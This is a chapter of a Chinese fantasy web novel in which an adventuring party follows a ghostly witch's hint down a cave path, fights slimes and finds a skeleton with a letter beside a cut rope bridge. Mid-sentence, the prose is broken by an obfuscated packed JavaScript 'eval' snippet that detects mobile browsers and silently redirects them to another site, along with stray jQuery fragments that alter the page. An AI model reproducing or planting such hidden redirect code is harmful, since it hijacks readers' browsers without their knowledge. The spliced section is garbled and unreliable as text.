“人们经常把法师、术士和女巫混为一谈，其实这三者之间存在很大的差异。在与陌生旅人交流的时刻，需要避免做出具有冒犯性的误判。


    法师的魔法力量往往是与生俱来的，术士则更多地对规则进行学习，必要时用已经拥有的东西与自然的法则交换。女巫尤为不同，她们生来是没有特殊力量的凡人，但通过仪式与密法对自身的本质进行扭曲，通过欺瞒宇宙获得强大的魔法。


    这种非自然的扭曲混淆了她们原有的存在，使她们间歇性地表现出不同生物的特征，既被人类恐惧，也不被精灵们接纳。但女巫们并不在乎。在神秘的沼泽深处，她们创造了属于自己的种族，我们称之为‘妖精’。”


    ——《破碎王冠·旅行者手册·与陌生人交往的十条指南》


    “这里没有向上走的路。”那陌生的女人回答，“向下的，倒有一条。”


    “向下的路？”卢比努斯重复了一遍，“请问，向下是通往哪里？”


    “黑暗诞生的地方，”古怪的旅客用同样飘渺的声音回答，“死亡漫溢的地方，怀有理智的人们避之不及的地方。”


    这古怪的话语引发了一阵惊诧的沉默，旅人慢悠悠地说完了那诗歌一样的句子。


    “若是心中仍然向往着成为英雄的结局，就请在这里掉头。”


    “呃，这……”卢比努斯看向林一七，“怎么说？”


    从人物设定来说，这反应没什么问题，他在询问队伍中最靠谱的占星术士。但作为一起工作的客服，林一七知道他在思考相同的问题：这暗示太明显了，这是一个隐藏的分歧点剧情啊！


    而且很可能导向一个非主流的结局。毕竟，来参与游戏的玩家，绝大部分都是想要成为“英雄”的。


    “什么乱七八糟的？你能讲清楚点吗？”欧里安先说话了，他紧皱着眉头，看起来对对方的故弄玄虚非常不满，“什么叫‘黑暗诞生’？这下面的东西和恶魔有关吗？”


    那旅客不说话了，火光下，只能看见她苍白的下巴和唇畔神秘的微笑，身姿随着阴影略微晃动。这场景似曾相识，林一七若有所悟。


    “她本人不在这里。”她说道，“那是个影子。”


    “轰”地一声，欧里安扬手发射了一个魔法。


    火焰顿时炸开了，火星和碎木块儿溅得到处都是。篝火原本的位置只留下一个陷入泥土的大坑，焦黑的木炭上升起一道冉冉的白烟，旁边什么东西也没有了。


    是不是过激了点儿啊？对方除了装神弄鬼不说人话，也没做什么啊。同伴们都默默地望着他。精灵神色紧绷，连耳朵尖都立了起来。


    “不知道为什么，我很不喜欢这个人。”他小声解释说，“给我一种寒毛直竖的感觉。”


    “可能是因为她使用的魔法？”艾伦问，“之前我们遇到体内容纳了恶魔的‘血焰’艾尔达，她使用了类似的利用火焰出现在另一个地方的魔法。艾尔达原本是个战士，对吧？所以那是恶魔赋予她的力量。”


    萨迦睁大眼睛，她这才反应过来。


    “你说这个人和艾尔达是一伙的？”


    “那倒未必。”林一七客观地说，“那是什么魔法？欧里安有了解吗？”


    “纯粹的精灵和人类都无法使用恶魔的魔法，”欧里安犹豫地说，“这样的话，可能她是个妖精。”


    他一下子露出释然的神色，似乎所有疑问都被刻板印象轻松化解了。完全不顾队友们更加一头雾水。


    “几百年来精灵和妖精都互相厌恶。”他挠了挠脑袋，“问题不大，她肯定也讨厌我——既然这儿有路，我们就进去看看吧。”


    ***


    顺着山崖的凹陷，能看见岩壁深处，有一个狭长的三角形入口。完全不像能正常出入的门洞，倒像是岩石在地质运动中随机切割形成的夹角。往里看去，一条同样细窄的小路延伸向黑暗尽头。只能说这石头里确实有路，但通向的是什么就看不出来了。


    另一个问题是，英格尔挤不进这小路。


    “我可以把它变成普通鸟类的大小。但这个魔法是有时效的，不能随时变来变去。”欧里安提议说，“或者你把它放飞在树林里，之后回来找它，会不会更好些？”


    “当然不行！”萨迦极为不满，“我们要一直在一起！”


    “确定要进去吗？”另一边，艾伦也对林一七提出疑问，“这里面感觉很危险。而且我们的目标是高原吧？”


    “我也感觉危险。”林一七说，“但是，‘黑暗的源头’或许能帮助我们理解发生了什么。”


    艾伦还是面露犹豫：“可能我们应该先解决王国的危机，再回来研究这些秘密……”


    “听占星师的，”卢比努斯拍了拍他的肩，“说不定这条路也通往王城呢。”


    艾伦神色纠结，又看了看兴致勃勃的欧里安，最终被说服了。


    “大家保持警惕，阿斯特丽德和欧里安站在中间。”他建议说，“这种地形很容易被偷袭。”


    ***


    小路比想象中更曲折。凹凸不平的岩壁中隐藏着看不见的危机。走进去不久，来自外界的晦暗天光就不见了。开始出现一些小型怪物的袭击。最多的是蝙蝠和毛皮腐烂的老鼠，虽然牙尖嘴利，但很怕火光，没什么难缠的。偶尔有巨型蜘蛛从阴影中滑落下来，试图用黏腻的蛛丝把选中的猎物钓走。


    但最恼人的是那些庞大的蛞蝓，他们会忽然从头顶掉落下来，用黏糊糊带有毒素的身体把猎物完全包裹其中。这些软体动物并没有牙齿，捕猎方式是使猎物麻痹，在黏液内部窒息。然后它们会在尸体内注入能加速溶解的毒素，把猎物变成一锅烂肉，再花剩下的几个月消化吸收。


    这种怪物行动缓慢，即时伤害不高，只要有同伴及时救助就不会致命——然而被从天而降的鼻涕虫包裹这件事本身侮辱性极强，分别被强迫体验过一轮以后，每个人都灰头土脸，恼怒非常。


    大家很快磨合出了最有效率的阵型。艾伦走在末尾断后，萨迦走在最前面，英格尔缩小成一只普通的猛禽，栖息在她肩膀上，用鹰隼的眼睛观察着四面，不时发出警觉的啼鸣。林一七排在第二位，举起法杖照亮前路。欧里安跟在她身后，负责向上观察可能的敌人。卢比努斯则跟在欧里安身后，专心对付射向魔法师的任何蛛丝和黏液，防止怪物首先把他捉走。


    一行人就这样向下走了很长一段路，光线晦暗，模糊了时间。起先四壁狭窄，空气稀薄，好像是在一头怪兽凹凸不平的肠道里蹒跚前进。在某一个转弯处，面前豁然开朗，出现了一个石头平台，感觉到了吹拂到脸上的阵风。


    萨迦指点脚下的方位，让大家都能走到平台边缘。林一七往前弹出照明的光球，光源飞升到空中，一瞬间照亮了半径十余米。他们发现自己站在一个深不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566983|168831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见底的裂谷边缘。刺骨的冷风从底部吹上来，发出怪异的呜呜声。


    裂谷仿佛山体中被劈出来的一道深深的刀口，向两边延伸到不可见的混沌之中。数百米开外的对岸，隐约能看见石头建筑的轮廓。林一七感觉脚下踩到了什么，召唤光源靠近，发现那是一些破碎的绳索和木板，这平台边曾经有一座木板桥联通两侧，现在已经被摧毁了。


    卢比努斯弯腰拾起一根断裂的绳索细看。


    “是利器割断的。断口还比较新，应该是今年内的。”


    “意思是说，有人从那边过来，把桥砍断，阻止敌人从对面过来，对吧？”萨迦说，“对面是什么方向？”


    “我们一直在往王城的方向走，不过即使如此，离光辉之城还有几天的路程，更别提高度落差了。”欧里安眯起眼睛努力辨别对岸的轮廓，“不过，这个出口离精灵领也就是一两天的路程，如果真有奇怪的人从那边过来，应该会被露娜希尔的巡逻队发现吧。”


    “安多美达议长说，没有遇到任何王城的信使。”林一七说，“走过来的路上有不少人骨头，也许他们死在路上了？”


    “也许他们并没有过来？”卢比努斯说，“可能是那个女巫把绳索砍断的。”


    “如果她不希望有人发现，为什么引导我们进来？”


    “我怎么知道，那是女巫啊。”


    “也许他就在这里。”一个幽幽的声音在他们身后说。


    大家都吓得跳了起来，卢比努斯踩到艾伦的脚，后者的手肘撞到萨迦的胳膊。萨迦错手释放的剑气激起一阵旋风，英格尔飞起来的翅膀砸到了林一七的脸，使得她手一抖熄灭了光源。一阵兵荒马乱后，才发现是欧里安压低声音说了刚才的话。


    “你几岁啊！”大家都怒斥他，“这是开玩笑的时候吗！”


    “我不是故意的啊！”欧里安大感冤枉，“确实这里有个人。”


    在平台的内侧夹角，之前光线没照射的角落里，有一副倒卧在地面上的灰暗铠甲，表面铁锈斑斑，满是厚重的污渍，几乎和岩石融为一体。由于位置贴近地面，加上所有人都只顾向对岸看，竟然忽视了它。


    “只剩下骨头了。”卢比努斯蹲下来观察了一番，“看这个姿势，应该是砍断绳索转身逃跑的时候被对面的攻击杀死的。不管是弓箭还是魔法，这个射程都很不一般呀。”


    “你说绳子是最近砍断的，怎么会只剩下骨头？”


    “魔法？或者是被那些鼻涕虫吃掉了吧。”


    很可能是真的。所有人都一阵恶寒。欧里安迅速从盔甲边退开几步，倒是卢比努斯啧啧称奇，又凑上去看了看。


    “如果这些脏东西是怪物的黏液，倒是可以解释了……这是传讯筒吗？”


    确实有一个铁质的圆柱体盒子，被压在胸甲下方。卢比努斯伸手去取，想了想，掏出一柄短刀把圆筒拨了出来。大家用敬畏的目光看着他几下撬开黏糊糊的盒盖，取出一张羊皮纸。


    “真是有先见之明的设计。大家以后要记得，用金属筒来装信件，就算你被吃了，它还能保持原样……呃，好像也渗进去一些。”


    羊皮纸确实有部分腐朽了，上面的字迹歪歪扭扭，很难辨认。林一七把光球举得更高，卢比努斯开始朗读这封幸免于难的文件。


    “尊敬的萨布瑞娜小姐，我在绝望之中写这封信给您，希望能得到您的援助。”